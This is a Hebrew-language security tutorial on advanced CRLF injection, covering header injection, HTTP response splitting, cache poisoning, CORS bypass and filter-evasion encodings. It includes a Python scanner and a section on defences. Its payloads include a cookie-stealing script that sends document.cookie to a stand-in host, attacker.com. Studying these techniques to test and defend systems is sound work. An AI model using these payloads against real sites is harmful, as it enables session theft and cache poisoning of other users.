תקיפות CRLF מתקדמות - Advanced CRLF Attacks¶
מבוא¶
הזרקת CRLF (Carriage Return Line Feed) היא טכניקת תקיפה שבה התוקף מזריק את התווים \r\n לתוך כותרות HTTP, עוגיות, או הפניות. ברמה הבסיסית, CRLF מאפשרת הזרקת כותרות. ברמה המתקדמת, היא מובילה לפיצול תגובות (Response Splitting), הרעלת מטמון, ושרשרת תקיפות מורכבת.
רקע - מבנה תגובת HTTP¶
תגובת HTTP מורכבת משורת סטטוס, כותרות, שורה ריקה וגוף:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html>body</html>
כל שורה מסתיימת ב-\r\n. שורה ריקה (\r\n\r\n) מפרידה בין הכותרות לגוף. הזרקת \r\n מאפשרת שליטה במבנה זה.
הזרקת CRLF בסיסית¶
הזרקה בכותרת Location¶
GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: admin=true
ה-%0d%0a (קידוד URL של \r\n) גורם לשבירת שורה בתגובה, והטקסט שאחריו מפורש ככותרת חדשה.
הזרקה בכותרת Set-Cookie¶
GET /page HTTP/1.1
Host: vulnerable-website.com
Cookie: lang=en%0d%0aSet-Cookie:%20admin=true
HTTP/1.1 200 OK
Set-Cookie: lang=en
Set-Cookie: admin=true
פיצול תגובות - HTTP Response Splitting¶
העיקרון¶
אם נזריק \r\n\r\n (שורה ריקה), נוכל לסיים את הכותרות ולהתחיל גוף תגובה חדש. עם עוד \r\n, נוכל ליצור תגובה שנייה שלמה:
GET /redirect?url=x%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
Host: vulnerable-website.com
התגובה מהשרת:
הלקוח (או ה-proxy) עלול לפרש זאת כשתי תגובות נפרדות.
פיצול מלא עם Content-Length¶
GET /redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
התגובה:
HTTP/1.1 302 Found
Location: x
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 25
<script>alert(1)</script>
ה-Content-Length: 0 בתגובה הראשונה גורם ללקוח לסיים את קריאתה ולהתחיל לקרוא את התגובה השנייה.
פיצול תגובות להרעלת מטמון¶
שילוב פיצול תגובות עם מטמון יכול להיות הרסני:
תקיפה צעד אחר צעד¶
שלב 1: התוקף שולח שתי בקשות בחיבור אחד:
בקשה 1: GET /redirect?url=<CRLF payload שיוצר תגובה שנייה> HTTP/1.1
בקשה 2: GET /static/main.js HTTP/1.1
שלב 2: השרת מחזיר:
תגובה 1: 302 Found + Location: x + Content-Length: 0
תגובה 2 (מזויפת): 200 OK + <script>alert(1)</script>
תגובה 3 (אמיתית): 200 OK + main.js content
שלב 3: ה-proxy/מטמון מתאים:
בקשה 1 -> תגובה 1 (302, תקין)
בקשה 2 (GET /static/main.js) -> תגובה 2 (המזויפת!)
שלב 4: המטמון שומר:
/static/main.js -> <script>alert(1)</script>
כל מבקר שיטען /static/main.js יקבל את הסקריפט הזדוני.
HTTP/0.9 ופיצול תגובות¶
רקע על HTTP/0.9¶
פרוטוקול HTTP/0.9 הוא הגרסה הקדומה ביותר. בגרסה זו אין כותרות - התגובה היא רק גוף:
ניצול HTTP/0.9 לפיצול¶
חלק מהשרתים ו-proxies עדיין תומכים ב-HTTP/0.9. אם נצליח לגרום לשרת לענות ב-HTTP/0.9, התגובה לא תכלול כותרות, וכל התוכן יפורש כ-HTML:
אם השרת עונה ב-HTTP/0.9:
אין כותרת Content-Type, אז הדפדפן עלול לפרש את זה כ-HTML.
CRLF בהקשרים שונים¶
הזרקה בכותרות תגובה¶
GET /api/user?name=John%0d%0aX-Custom-Header:%20injected HTTP/1.1
HTTP/1.1 200 OK
X-User-Name: John
X-Custom-Header: injected
הזרקה בעוגיות¶
GET /set-lang?lang=en%0d%0aSet-Cookie:%20session=attacker_session%3b%20Path=/
HTTP/1.1 302 Found
Set-Cookie: lang=en
Set-Cookie: session=attacker_session; Path=/
זוהי תקיפת Session Fixation דרך CRLF.
הזרקה בהפניות¶
GET /redirect?next=https://safe.com%0d%0a%0d%0a<html><body>Phishing</body></html>
HTTP/1.1 302 Found
Location: https://safe.com
<html><body>Phishing</body></html>
הגוף שאחרי השורה הריקה מוצג לקורבן אם הדפדפן לא עוקב אחרי ה-redirect.
שרשרות CRLF מתקדמות¶
CRLF להרעלת מטמון (ללא פיצול)¶
GET /page?x=%0d%0aX-Forwarded-Host:%20attacker.com HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Forwarded-Host: attacker.com
...
<script src="https://attacker.com/script.js"></script>
הזרקת כותרת X-Forwarded-Host דרך CRLF, שמשפיעה על התגובה ומאפשרת הרעלת מטמון.
CRLF ל-XSS דרך כותרת Content-Type¶
GET /api?q=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
HTTP/1.1 200 OK
Content-Type: application/json
Content-Type: text/html
<script>alert(1)</script>
{"results": []}
כותרת Content-Type כפולה - חלק מהדפדפנים ישתמשו בכותרת האחרונה (text/html) ויפרשו את הגוף כ-HTML.
CRLF ל-CORS Bypass¶
GET /api/data?x=%0d%0aAccess-Control-Allow-Origin:%20https://attacker.com HTTP/1.1
Origin: https://attacker.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
payloads מתקדמים¶
קידודים שונים¶
\r\n רגיל: %0d%0a
קידוד כפול: %250d%250a
קידוד Unicode: %c4%8d%c4%8a
null + LF: %00%0a
CR בלבד: %0d
LF בלבד: %0a
תו Unicode דומה: \u000d\u000a
עקיפת סינון¶
# אם %0d%0a חסום, נסו:
%0d%20%0a # רווח בין CR ל-LF
%0d%09%0a # tab בין CR ל-LF
%0d%0a%20 # רווח אחרי LF (המשך שורה)
%e5%98%8a%e5%98%8d # UTF-8 encoding of CR/LF
payload מלא לפיצול תגובות עם XSS¶
/redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2062%0d%0a%0d%0a%3cscript%3edocument.location='https://attacker.com/?c='+document.cookie%3c/script%3e
בלבול פרוטוקולים ב-CRLF¶
בלבול דפדפן ספציפי¶
דפדפנים שונים מפרשים תגובות HTTP בצורות שונות:
Chrome: מקפיד על Content-Length, מתעלם מתגובות HTTP/0.9 ברוב המקרים
Firefox: מעט יותר סלחני עם Content-Length לא מדויק
Safari: התנהגות ייחודית עם charset parsing
# payload ספציפי ל-Firefox
%0d%0aContent-Type:%20text/html;%20charset=UTF-7%0d%0a%0d%0a+ADw-script+AD4-alert(1)+ADw-/script+AD4-
בלבול עם WebSocket¶
GET /chat HTTP/1.1
Host: vulnerable-website.com
Upgrade: websocket%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>
Connection: Upgrade
סקריפט לבדיקת CRLF¶
#!/usr/bin/env python3
"""
סקריפט לבדיקת הזרקת CRLF
"""
import requests
import urllib.parse
def test_crlf_injection(base_url, param_name):
"""בדיקת הזרקת CRLF בפרמטר"""
payloads = [
# בסיסי
("%0d%0aInjected-Header: test", "CRLF basic"),
# קידוד כפול
("%250d%250aInjected-Header: test", "Double encoded"),
# LF בלבד
("%0aInjected-Header: test", "LF only"),
# CR בלבד
("%0dInjected-Header: test", "CR only"),
# Unicode
("%c4%8d%c4%8aInjected-Header: test", "Unicode CRLF"),
# null + LF
("%00%0aInjected-Header: test", "Null + LF"),
]
results = []
for payload, description in payloads:
url = f"{base_url}?{param_name}=value{payload}"
try:
resp = requests.get(url, allow_redirects=False)
if 'Injected-Header' in str(resp.headers):
results.append((description, "פגיע", url))
print(f"[+] {description}: פגיע!")
elif 'injected-header' in resp.text.lower():
results.append((description, "אפשרי", url))
print(f"[?] {description}: ייתכן שפגיע (מופיע בגוף)")
else:
print(f"[-] {description}: לא פגיע")
except Exception as e:
print(f"[!] {description}: שגיאה - {e}")
return results
def test_response_splitting(base_url, param_name):
"""בדיקת פיצול תגובות"""
# payload שמנסה ליצור תגובה שנייה
payload = (
"x%0d%0aContent-Length:%200%0d%0a"
"%0d%0a"
"HTTP/1.1%20200%20OK%0d%0a"
"Content-Type:%20text/html%0d%0a"
"Content-Length:%2013%0d%0a"
"%0d%0a"
"SPLIT-SUCCESS"
)
url = f"{base_url}?{param_name}={payload}"
try:
resp = requests.get(url, allow_redirects=False)
if 'SPLIT-SUCCESS' in resp.text:
print("[+] פיצול תגובות: פגיע!")
return True
else:
print("[-] פיצול תגובות: לא פגיע")
return False
except Exception as e:
print(f"[!] שגיאה: {e}")
return False
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("שימוש: python3 crlf_test.py <url> <param>")
print("דוגמה: python3 crlf_test.py https://target.com/redirect url")
sys.exit(1)
base_url = sys.argv[1]
param = sys.argv[2]
print(f"[*] בודק CRLF ב-{base_url}, פרמטר: {param}")
print("=" * 50)
print("\n[*] בדיקת הזרקת כותרות:")
test_crlf_injection(base_url, param)
print("\n[*] בדיקת פיצול תגובות:")
test_response_splitting(base_url, param)
הגנה¶
1. סינון CRLF בקלט¶
import re
def sanitize_header_value(value):
"""הסרת תווי CRLF מערך כותרת"""
# הסרת CR, LF וכל תו בקרה
return re.sub(r'[\r\n\x00-\x1f]', '', value)
def safe_redirect(url):
"""הפניה בטוחה - סינון CRLF"""
clean_url = sanitize_header_value(url)
# גם ולידציה של ה-URL
if not clean_url.startswith(('http://', 'https://')):
clean_url = '/'
return redirect(clean_url)
2. שימוש ב-API בטוח¶
# Flask - response.headers מסנן אוטומטית CRLF
from flask import make_response, redirect
@app.route('/redirect')
def safe_redirect():
url = request.args.get('url', '/')
# Flask מסנן CRLF בכותרות אוטומטית
return redirect(url)
// Node.js/Express - גרסאות חדשות חוסמות CRLF
res.setHeader('Location', userInput);
// Express 4.x+ זורק שגיאה אם userInput מכיל \r\n
3. הגדרות שרת¶
4. WAF¶
- הגדירו כלל WAF שחוסם %0d, %0a, %0D, %0A בכל פרמטר
- כוללים גם קידוד כפול: %250d, %250a
- וגם קידוד Unicode
סיכום¶
תקיפות CRLF מתקדמות חורגות הרבה מעבר להזרקת כותרת פשוטה. פיצול תגובות מאפשר יצירת תגובות שלמות, הרעלת מטמון ו-XSS. נקודות מפתח:
- הזרקת
\r\nמאפשרת הוספת כותרות, והזרקת\r\n\r\nמאפשרת פיצול תגובות - פיצול תגובות בשילוב עם מטמון מאפשר תקיפה המונית
- קידודים שונים (כפול, Unicode, חלקי) עוקפים סינון בסיסי
- רוב הפריימוורקים המודרניים מגנים מפני CRLF, אבל שרתים ישנים ו-proxies עלולים להיות פגיעים